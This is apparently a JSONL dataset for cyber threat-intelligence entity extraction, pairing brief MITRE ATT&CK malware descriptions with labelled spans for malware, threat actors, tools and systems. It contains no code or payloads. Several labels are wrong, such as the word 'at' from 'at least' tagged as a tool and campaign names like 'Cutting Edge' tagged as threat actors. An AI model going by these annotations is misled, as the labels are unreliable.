{"text": "Raccoon Stealer is an information stealer malware family active since at least 2019 as a malware-as-a-service offering sold in underground forums. Raccoon Stealer has experienced two periods of activity across two variants, from 2019 to March 2022, then resurfacing in a revised version in June 2022.", "spans": {"MALWARE: Raccoon Stealer": [[0, 15], [147, 162]], "TOOL: at": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1148"}}
{"text": "IPsec Helper is a post-exploitation remote access tool linked to Agrius operations. This malware shares significant programming and functional overlaps with Apostle ransomware, also linked to Agrius. IPsec Helper provides basic remote access tool functionality such as uploading files from victim systems, running commands, and deploying additional payloads.", "spans": {"MALWARE: IPsec Helper": [[0, 12], [200, 212]], "THREAT_ACTOR: Agrius": [[65, 71], [192, 198]], "MALWARE: Apostle": [[157, 164]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1132"}}
{"text": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi.", "spans": {"MALWARE: Daserf": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0187"}}
{"text": "GoldFinder is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform  threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. GoldFinder was discovered in early 2021 during an investigation into the SolarWinds Compromise by APT29.", "spans": {"MALWARE: GoldFinder": [[0, 10], [277, 287]], "SYSTEM: HTTP": [[23, 27]], "TOOL: route": [[68, 73]], "THREAT_ACTOR: SolarWinds Compromise": [[350, 371]], "THREAT_ACTOR: APT29": [[375, 380]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0597"}}
{"text": "Carbon is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. Carbon has been selectively used by Turla to target government and foreign affairs-related organizations in Central Asia.", "spans": {"MALWARE: Carbon": [[0, 6], [125, 131]], "THREAT_ACTOR: Turla": [[161, 166]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0335"}}
{"text": "LoJax is a UEFI rootkit used by APT28 to persist remote access software on targeted systems.", "spans": {"MALWARE: LoJax": [[0, 5]], "SYSTEM: UEFI": [[11, 15]], "THREAT_ACTOR: APT28": [[32, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0397"}}
{"text": "Cardinal RAT is a potentially low volume remote access trojan (RAT) observed since December 2015. Cardinal RAT is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.", "spans": {"MALWARE: Cardinal RAT": [[0, 12], [98, 110]], "SYSTEM: C#": [[163, 165]], "ORGANIZATION: Microsoft": [[186, 195]], "SYSTEM: Windows": [[196, 203]], "TOOL: csc": [[213, 216]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0348"}}
{"text": "DanBot is a first-stage remote access Trojan written in C# that has been used by HEXANE since at least 2018.", "spans": {"MALWARE: DanBot": [[0, 6]], "SYSTEM: C#": [[56, 58]], "THREAT_ACTOR: HEXANE": [[81, 87]], "TOOL: at": [[94, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1014"}}
{"text": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007.", "spans": {"MALWARE: BISCUIT": [[0, 7]], "THREAT_ACTOR: APT1": [[44, 48]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0017"}}
{"text": "Calisto is a macOS Trojan that opens a backdoor on the compromised machine. Calisto is believed to have first been developed in 2016.", "spans": {"MALWARE: Calisto": [[0, 7], [76, 83]], "SYSTEM: macOS": [[13, 18]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0274"}}
{"text": "Solar is a C#/.NET backdoor that was used by OilRig during the Outer Space campaign to download, execute, and exfiltrate files.", "spans": {"MALWARE: Solar": [[0, 5]], "SYSTEM: C#": [[11, 13]], "SYSTEM: .NET": [[14, 18]], "THREAT_ACTOR: OilRig": [[45, 51]], "THREAT_ACTOR: Outer Space": [[63, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1166"}}
{"text": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.", "spans": {"MALWARE: Pisloader": [[0, 9]], "SYSTEM: DNS": [[64, 67]], "THREAT_ACTOR: APT18": [[150, 155]], "MALWARE: HTTPBrowser": [[198, 209]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0124"}}
{"text": "GoldenSpy is a backdoor malware which has been packaged with legitimate tax preparation software. GoldenSpy was discovered targeting organizations in China, being delivered with the \"Intelligent Tax\" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.", "spans": {"MALWARE: GoldenSpy": [[0, 9], [98, 107]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0493"}}
{"text": "Gold Dragon is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. Gold Dragon was used along with Brave Prince and RunningRAT in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics.", "spans": {"MALWARE: Gold Dragon": [[0, 11], [122, 133]], "MALWARE: Brave Prince": [[154, 166]], "MALWARE: RunningRAT": [[171, 181]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0249"}}
{"text": "RGDoor is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. RGDoor has been seen deployed on webservers belonging to the Middle East government organizations. RGDoor provides backdoor access to compromised IIS servers.", "spans": {"MALWARE: RGDoor": [[0, 6], [98, 104], [197, 203]], "SYSTEM: Internet Information Services": [[22, 51]], "SYSTEM: IIS": [[53, 56], [244, 247]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0258"}}
{"text": "Ramsay is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between Ramsay and the Darkhotel-associated Retro malware.", "spans": {"MALWARE: Ramsay": [[0, 6], [188, 194]], "THREAT_ACTOR: Darkhotel": [[203, 212]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0458"}}
{"text": "Neo-reGeorg is an open-source web shell designed as a restructuring of reGeorg with improved usability, security, and fixes for exising reGeorg bugs.", "spans": {"MALWARE: Neo-reGeorg": [[0, 11]], "MALWARE: reGeorg": [[71, 78], [136, 143]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1189"}}
{"text": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.", "spans": {"MALWARE: FakeM": [[0, 5]], "SYSTEM: Windows": [[27, 34]], "THREAT_ACTOR: Scarlet Mimic": [[66, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0076"}}
{"text": "Carberp is a credential and information stealing malware that has been active since at least 2009. Carberp's source code was leaked online in 2013, and subsequently used as the foundation for the Carbanak backdoor.", "spans": {"MALWARE: Carberp": [[0, 7], [99, 106]], "TOOL: at": [[84, 86]], "MALWARE: Carbanak": [[196, 204]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0484"}}
{"text": "FRAMESTING is a Python web shell that was used during Cutting Edge to embed into an Ivanti Connect Secure Python package for command execution.", "spans": {"MALWARE: FRAMESTING": [[0, 10]], "SYSTEM: Python": [[16, 22], [106, 112]], "THREAT_ACTOR: Cutting Edge": [[54, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1120"}}
{"text": "HARDRAIN is a Trojan malware variant reportedly used by the North Korean government.", "spans": {"MALWARE: HARDRAIN": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0246"}}
{"text": "NKAbuse is a Go-based, multi-platform malware abusing NKN (New Kind of Network) technology for data exchange between peers, functioning as a potent implant, and equipped with both flooder and backdoor capabilities.", "spans": {"MALWARE: NKAbuse": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1107"}}
{"text": "Pillowmint is a point-of-sale malware used by FIN7 designed to capture credit card information.", "spans": {"MALWARE: Pillowmint": [[0, 10]], "THREAT_ACTOR: FIN7": [[46, 50]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0517"}}
{"text": "TrailBlazer is a modular malware that has been used by APT29 since at least 2019.", "spans": {"MALWARE: TrailBlazer": [[0, 11]], "THREAT_ACTOR: APT29": [[55, 60]], "TOOL: at": [[67, 69]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0682"}}
{"text": "Revenge RAT is a freely available remote access tool written in .NET (C#).", "spans": {"MALWARE: Revenge RAT": [[0, 11]], "SYSTEM: .NET": [[64, 68]], "SYSTEM: C#": [[70, 72]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0379"}}
{"text": "MacMa is a macOS-based backdoor with a large set of functionalities to control and exfiltrate files from a compromised computer. MacMa has been observed in the wild since November 2021. MacMa shares command and control and unique libraries with MgBot and Nightdoor, indicating a relationship with the Daggerfly threat actor.", "spans": {"MALWARE: MacMa": [[0, 5], [129, 134], [186, 191]], "SYSTEM: macOS": [[11, 16]], "MALWARE: MgBot": [[245, 250]], "MALWARE: Nightdoor": [[255, 264]], "THREAT_ACTOR: Daggerfly": [[301, 310]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1016"}}
{"text": "FunnyDream is a backdoor with multiple components that was used during the FunnyDream campaign since at least 2019, primarily for execution and exfiltration.", "spans": {"MALWARE: FunnyDream": [[0, 10], [75, 85]], "TOOL: at": [[101, 103]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1044"}}
{"text": "ROADSWEEP is a ransomware that was deployed against Albanian government networks during HomeLand Justice along with the CHIMNEYSWEEP backdoor.", "spans": {"MALWARE: ROADSWEEP": [[0, 9]], "THREAT_ACTOR: HomeLand Justice": [[88, 104]], "MALWARE: CHIMNEYSWEEP": [[120, 132]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1150"}}
{"text": "SUNSPOT is an implant that injected the SUNBURST backdoor into the SolarWinds Orion software update framework. It was used by APT29 since at least February 2020.", "spans": {"MALWARE: SUNSPOT": [[0, 7]], "MALWARE: SUNBURST": [[40, 48]], "ORGANIZATION: SolarWinds": [[67, 77]], "THREAT_ACTOR: APT29": [[126, 131]], "TOOL: at": [[138, 140]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0562"}}
{"text": "MOPSLED is a shellcode-based modular backdoor that has been used by China-nexus cyber espionage actors including UNC3886 and APT41.", "spans": {"MALWARE: MOPSLED": [[0, 7]], "THREAT_ACTOR: UNC3886": [[113, 120]], "THREAT_ACTOR: APT41": [[125, 130]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1221"}}
{"text": "More_eggs is a JScript backdoor used by Cobalt Group and FIN6. Its name was given based on the variable \"More_eggs\" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4.", "spans": {"MALWARE: More_eggs": [[0, 9], [105, 114]], "SYSTEM: JScript": [[15, 22]], "THREAT_ACTOR: Cobalt Group": [[40, 52]], "THREAT_ACTOR: FIN6": [[57, 61]], "TOOL: at": [[153, 155]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0284"}}
{"text": "SysUpdate is a backdoor written in C++ that has been used by Threat Group-3390 since at least 2020.", "spans": {"MALWARE: SysUpdate": [[0, 9]], "THREAT_ACTOR: Threat Group-3390": [[61, 78]], "TOOL: at": [[85, 87]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0663"}}
{"text": "TinyZBot is a bot written in C# that was developed by Cleaver.", "spans": {"MALWARE: TinyZBot": [[0, 8]], "SYSTEM: C#": [[29, 31]], "THREAT_ACTOR: Cleaver": [[54, 61]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0004"}}
{"text": "OutSteel is a file uploader and document stealer developed with the scripting language AutoIT that has been used by Saint Bear since at least March 2021.", "spans": {"MALWARE: OutSteel": [[0, 8]], "THREAT_ACTOR: Saint Bear": [[116, 126]], "TOOL: at": [[133, 135]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1017"}}
{"text": "BackConfig is a custom Trojan with a flexible plugin architecture that has been used by Patchwork.", "spans": {"MALWARE: BackConfig": [[0, 10]], "THREAT_ACTOR: Patchwork": [[88, 97]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0475"}}
{"text": "PowGoop is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by MuddyWater as their main loader.", "spans": {"MALWARE: PowGoop": [[0, 7]], "TOOL: PowerShell": [[56, 66]], "THREAT_ACTOR: MuddyWater": [[105, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1046"}}
{"text": "Kwampirs is a backdoor Trojan used by Orangeworm. Kwampirs has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. Kwampirs has multiple technical overlaps with Shamoon based on reverse engineering analysis.", "spans": {"MALWARE: Kwampirs": [[0, 8], [50, 58], [200, 208]], "THREAT_ACTOR: Orangeworm": [[38, 48]], "MALWARE: Shamoon": [[246, 253]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0236"}}
{"text": "Nerex is a Trojan used by Elderwood to open a backdoor on compromised hosts.", "spans": {"MALWARE: Nerex": [[0, 5]], "THREAT_ACTOR: Elderwood": [[26, 35]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0210"}}
{"text": "BoomBox is a downloader responsible for executing next stage components that has been used by APT29 since at least 2021.", "spans": {"MALWARE: BoomBox": [[0, 7]], "THREAT_ACTOR: APT29": [[94, 99]], "TOOL: at": [[106, 108]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0635"}}
{"text": "DEADEYE is a malware launcher that has been used by APT41 since at least May 2021. DEADEYE has variants that can either embed a payload inside a compiled binary (DEADEYE.EMBED) or append it to the end of a file (DEADEYE.APPEND).", "spans": {"MALWARE: DEADEYE": [[0, 7], [83, 90], [162, 169], [212, 219]], "THREAT_ACTOR: APT41": [[52, 57]], "TOOL: at": [[64, 66]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1052"}}
{"text": "PUNCHTRACK is non-persistent point of sale (POS) system malware utilized by FIN8 to scrape payment card data.", "spans": {"MALWARE: PUNCHTRACK": [[0, 10]], "THREAT_ACTOR: FIN8": [[76, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0197"}}
{"text": "Proton is a macOS backdoor focusing on data theft and credential access  .", "spans": {"MALWARE: Proton": [[0, 6]], "SYSTEM: macOS": [[12, 17]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0279"}}
{"text": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.", "spans": {"MALWARE: Trojan.Mebromi": [[0, 14]], "SYSTEM: BIOS": [[18, 22]], "SYSTEM: MBR": [[77, 80]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0001"}}
{"text": "Mango is a first-stage backdoor written in C#/.NET that was used by OilRig during the Juicy Mix campaign. Mango is the successor to Solar and includes additional exfiltration capabilities, the use of native APIs, and added detection evasion code.", "spans": {"MALWARE: Mango": [[0, 5], [106, 111]], "SYSTEM: C#": [[43, 45]], "SYSTEM: .NET": [[46, 50]], "THREAT_ACTOR: OilRig": [[68, 74]], "THREAT_ACTOR: Juicy Mix": [[86, 95]], "MALWARE: Solar": [[132, 137]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1169"}}
{"text": "InnaputRAT is a remote access tool that can exfiltrate files from a victim’s machine. InnaputRAT has been seen out in the wild since 2016.", "spans": {"MALWARE: InnaputRAT": [[0, 10], [86, 96]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0259"}}
{"text": "WIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.", "spans": {"MALWARE: WIREFIRE": [[0, 8], [142, 150]], "SYSTEM: Python": [[35, 41]], "THREAT_ACTOR: Cutting Edge": [[167, 179]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1115"}}
{"text": "Kessel is an advanced version of OpenSSH which acts as a custom backdoor, mainly acting to steal credentials and function as a bot. Kessel has been active since its C2 domain began resolving in August 2018.", "spans": {"MALWARE: Kessel": [[0, 6], [132, 138]], "SYSTEM: OpenSSH": [[33, 40]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0487"}}
{"text": "GrimAgent is a backdoor that has been used before the deployment of Ryuk ransomware since at least 2020; it is likely used by FIN6 and Wizard Spider.", "spans": {"MALWARE: GrimAgent": [[0, 9]], "MALWARE: Ryuk": [[68, 72]], "TOOL: at": [[90, 92]], "THREAT_ACTOR: FIN6": [[126, 130]], "THREAT_ACTOR: Wizard Spider": [[135, 148]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0632"}}
{"text": "LookBack is a remote access trojan written in C++ that was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using LookBack.", "spans": {"MALWARE: LookBack": [[0, 8], [174, 182]], "TOOL: at": [[72, 74]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0582"}}
{"text": "STEADYPULSE is a web shell that infects targeted Pulse Secure VPN servers through modification of a legitimate Perl script that was used as early as 2020 including in activity against US Defense Industrial Base (DIB) entities.", "spans": {"MALWARE: STEADYPULSE": [[0, 11]], "SYSTEM: Perl": [[111, 115]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1112"}}
{"text": "Clop is a ransomware family that was first observed in February 2019 and has been used against retail, transportation and logistics, education, manufacturing, engineering, automotive, energy, financial, aerospace, telecommunications, professional and legal services, healthcare, and high tech industries. Clop is a variant of the CryptoMix ransomware.", "spans": {"MALWARE: Clop": [[0, 4], [305, 309]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0611"}}
{"text": "NetTraveler is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013.", "spans": {"MALWARE: NetTraveler": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0033"}}
{"text": "YAHOYAH is a Trojan used by Tropic Trooper as a second-stage backdoor.", "spans": {"MALWARE: YAHOYAH": [[0, 7]], "THREAT_ACTOR: Tropic Trooper": [[28, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0388"}}
{"text": "Lokibot is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. Lokibot can also create a backdoor into infected systems to allow an attacker to install additional payloads.", "spans": {"MALWARE: Lokibot": [[0, 7], [208, 215]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0447"}}
{"text": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell.", "spans": {"MALWARE: CallMe": [[0, 6]], "ORGANIZATION: Apple": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0077"}}
{"text": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group.", "spans": {"MALWARE: ROCKBOOT": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0112"}}
{"text": "CloudDuke is malware that was used by APT29 in 2015.", "spans": {"MALWARE: CloudDuke": [[0, 9]], "THREAT_ACTOR: APT29": [[38, 43]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0054"}}
{"text": "Egregor is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between Egregor and Sekhmet ransomware, as well as Maze ransomware.", "spans": {"MALWARE: Egregor": [[0, 7], [141, 148]], "MALWARE: Maze": [[184, 188]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0554"}}
{"text": "PoetRAT is a remote access trojan (RAT) that was first identified in April 2020. PoetRAT has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. PoetRAT derived its name from references in the code to poet William Shakespeare.", "spans": {"MALWARE: PoetRAT": [[0, 7], [81, 88], [298, 305]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0428"}}
{"text": "CHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants.     It is tracked separately from the X-Agent for Android.", "spans": {"MALWARE: CHOPSTICK": [[0, 9]], "THREAT_ACTOR: APT28": [[59, 64]], "TOOL: at": [[89, 91]], "SYSTEM: Windows": [[239, 246]], "SYSTEM: Linux": [[251, 256]], "MALWARE: X-Agent for Android": [[305, 324]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0023"}}
{"text": "StealBit is a data exfiltration tool that is developed and maintained by the operators of the the LockBit Ransomware-as-a-Service (RaaS) and offered to affiliates to exfiltrate data from compromised systems for double extortion purposes.", "spans": {"MALWARE: StealBit": [[0, 8]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1200"}}
{"text": "FELIXROOT is a backdoor that has been used to target Ukrainian victims.", "spans": {"MALWARE: FELIXROOT": [[0, 9]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0267"}}
{"text": "ZxShell is a remote administration tool and backdoor that can be downloaded from the Internet, particularly from Chinese hacker websites. It has been used since at least 2004.", "spans": {"MALWARE: ZxShell": [[0, 7]], "TOOL: at": [[161, 163]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0412"}}
{"text": "RIFLESPINE is a cross-platform backdoor that leverages Google Drive for file transfer and command execution.", "spans": {"MALWARE: RIFLESPINE": [[0, 10]], "SYSTEM: Google Drive": [[55, 67]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1222"}}
{"text": "SLIGHTPULSE is a web shell that was used by APT5 as early as 2020 including against Pulse Secure VPNs at US Defense Industrial Base (DIB) entities.", "spans": {"MALWARE: SLIGHTPULSE": [[0, 11]], "THREAT_ACTOR: APT5": [[44, 48]], "TOOL: at": [[102, 104]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1110"}}
{"text": "NDiskMonitor is a custom backdoor written in .NET that appears to be unique to Patchwork.", "spans": {"MALWARE: NDiskMonitor": [[0, 12]], "SYSTEM: .NET": [[45, 49]], "THREAT_ACTOR: Patchwork": [[79, 88]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0272"}}
{"text": "CoinTicker is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell.", "spans": {"MALWARE: CoinTicker": [[0, 10]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0369"}}
{"text": "DDKONG is a malware sample that was part of a campaign by Rancor. DDKONG was first seen used in February 2017.", "spans": {"MALWARE: DDKONG": [[0, 6], [66, 72]], "THREAT_ACTOR: Rancor": [[58, 64]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0255"}}
{"text": "Penquin is a remote access trojan (RAT) with multiple versions used by Turla to target Linux systems since at least 2014.", "spans": {"MALWARE: Penquin": [[0, 7]], "THREAT_ACTOR: Turla": [[71, 76]], "SYSTEM: Linux": [[87, 92]], "TOOL: at": [[107, 109]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0587"}}
{"text": "BabyShark is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns.", "spans": {"MALWARE: BabyShark": [[0, 9]], "ORGANIZATION: Microsoft": [[15, 24]], "SYSTEM: Visual Basic": [[25, 37]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0414"}}
{"text": "Cannon is a Trojan with variants written in C# and Delphi. It was first observed in April 2018.", "spans": {"MALWARE: Cannon": [[0, 6]], "SYSTEM: C#": [[44, 46]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0351"}}
{"text": "CreepySnail is a custom PowerShell implant that has been used by POLONIUM since at least 2022.", "spans": {"MALWARE: CreepySnail": [[0, 11]], "TOOL: PowerShell": [[24, 34]], "THREAT_ACTOR: POLONIUM": [[65, 73]], "TOOL: at": [[80, 82]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1024"}}
{"text": "build_downer is a downloader that has been used by BRONZE BUTLER since at least 2019.", "spans": {"MALWARE: build_downer": [[0, 12]], "THREAT_ACTOR: BRONZE BUTLER": [[51, 64]], "TOOL: at": [[71, 73]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0471"}}
{"text": "Melcoz is a banking trojan family built from the open source tool Remote Access PC. Melcoz was first observed in attacks in Brazil and since 2018 has spread to Chile, Mexico, Spain, and Portugal.", "spans": {"MALWARE: Melcoz": [[0, 6], [84, 90]], "SYSTEM: Access": [[73, 79]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0530"}}
{"text": "Winnti for Windows is a modular remote access Trojan (RAT) that has been used likely by multiple groups to carry out intrusions in various regions since at least 2010, including by one group referred to as the same name, Winnti Group.. The Linux variant is tracked separately under Winnti for Linux.", "spans": {"MALWARE: Winnti for Windows": [[0, 18]], "TOOL: at": [[153, 155]], "THREAT_ACTOR: Winnti Group": [[221, 233]], "SYSTEM: Linux": [[240, 245]], "MALWARE: Winnti for Linux": [[282, 298]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0141"}}
{"text": "PowerPunch is a lightweight downloader that has been used by Gamaredon Group since at least 2021.", "spans": {"MALWARE: PowerPunch": [[0, 10]], "THREAT_ACTOR: Gamaredon Group": [[61, 76]], "TOOL: at": [[83, 85]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0685"}}
{"text": "BONDUPDATER is a PowerShell backdoor used by OilRig. It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.", "spans": {"MALWARE: BONDUPDATER": [[0, 11]], "TOOL: PowerShell": [[17, 27]], "THREAT_ACTOR: OilRig": [[45, 51]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0360"}}
{"text": "Troll Stealer is an information stealer written in Go associated with Kimsuky operations. Troll Stealer has typically been delivered through a dropper disguised as a legitimate security program installation file. Troll Stealer features code similar to AppleSeed, also uniquely associated with Kimsuky operations.", "spans": {"MALWARE: Troll Stealer": [[0, 13], [90, 103], [213, 226]], "THREAT_ACTOR: Kimsuky": [[70, 77], [293, 300]], "MALWARE: AppleSeed": [[252, 261]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1196"}}
{"text": "BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013.", "spans": {"MALWARE: BLACKCOFFEE": [[0, 11]], "TOOL: at": [[74, 76]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0069"}}
{"text": "BFG Agonizer is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the Agrius threat actor.", "spans": {"MALWARE: BFG Agonizer": [[0, 12]], "THREAT_ACTOR: Agrius": [[140, 146]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1136"}}
{"text": "Ebury is an OpenSSH backdoor and credential stealer targeting Linux servers and container hosts developed by Windigo. Ebury is primarily installed through modifying shared libraries (`.so` files) executed by the legitimate OpenSSH program. First seen in 2009, Ebury has been used to maintain a botnet of servers, deploy additional malware, and steal cryptocurrency wallets, credentials, and credit card details.", "spans": {"MALWARE: Ebury": [[0, 5], [118, 123], [260, 265]], "SYSTEM: OpenSSH": [[12, 19], [223, 230]], "SYSTEM: Linux": [[62, 67]], "THREAT_ACTOR: Windigo": [[109, 116]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0377"}}
{"text": "Kinsing is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment.", "spans": {"MALWARE: Kinsing": [[0, 7]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0599"}}
{"text": "PITSTOP is a backdoor that was deployed on compromised Ivanti Connect Secure VPNs during Cutting Edge to enable command execution and file read/write.", "spans": {"MALWARE: PITSTOP": [[0, 7]], "THREAT_ACTOR: Cutting Edge": [[89, 101]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1123"}}
{"text": "Meteor is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. Meteor is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called \"Indra\" since at least 2019 against private companies in Syria.", "spans": {"MALWARE: Meteor": [[0, 6], [170, 176]], "TOOL: at": [[305, 307]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0688"}}
{"text": "njRAT is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.", "spans": {"MALWARE: njRAT": [[0, 5]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0385"}}
{"text": "ZIPLINE is a passive backdoor that was used during Cutting Edge on compromised Secure Connect VPNs for reverse shell and proxy functionality.", "spans": {"MALWARE: ZIPLINE": [[0, 7]], "THREAT_ACTOR: Cutting Edge": [[51, 63]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1114"}}
{"text": "Maze ransomware, previously known as \"ChaCha\", was discovered in May 2019. In addition to encrypting files on victim machines for impact, Maze operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.", "spans": {"MALWARE: Maze": [[0, 4], [138, 142]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0449"}}
{"text": "BOOTRASH is a Bootkit that targets Windows operating systems. It has been used by threat actors that target the financial sector.", "spans": {"MALWARE: BOOTRASH": [[0, 8]], "SYSTEM: Windows": [[35, 42]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S0114"}}
{"text": "HIUPAN (aka U2DiskWatch) is a is a worm that propagates through removable drives known to be leveraged by Mustang Panda and was first observed utilized in 2024.", "spans": {"MALWARE: HIUPAN": [[0, 6]], "THREAT_ACTOR: Mustang Panda": [[106, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1230"}}
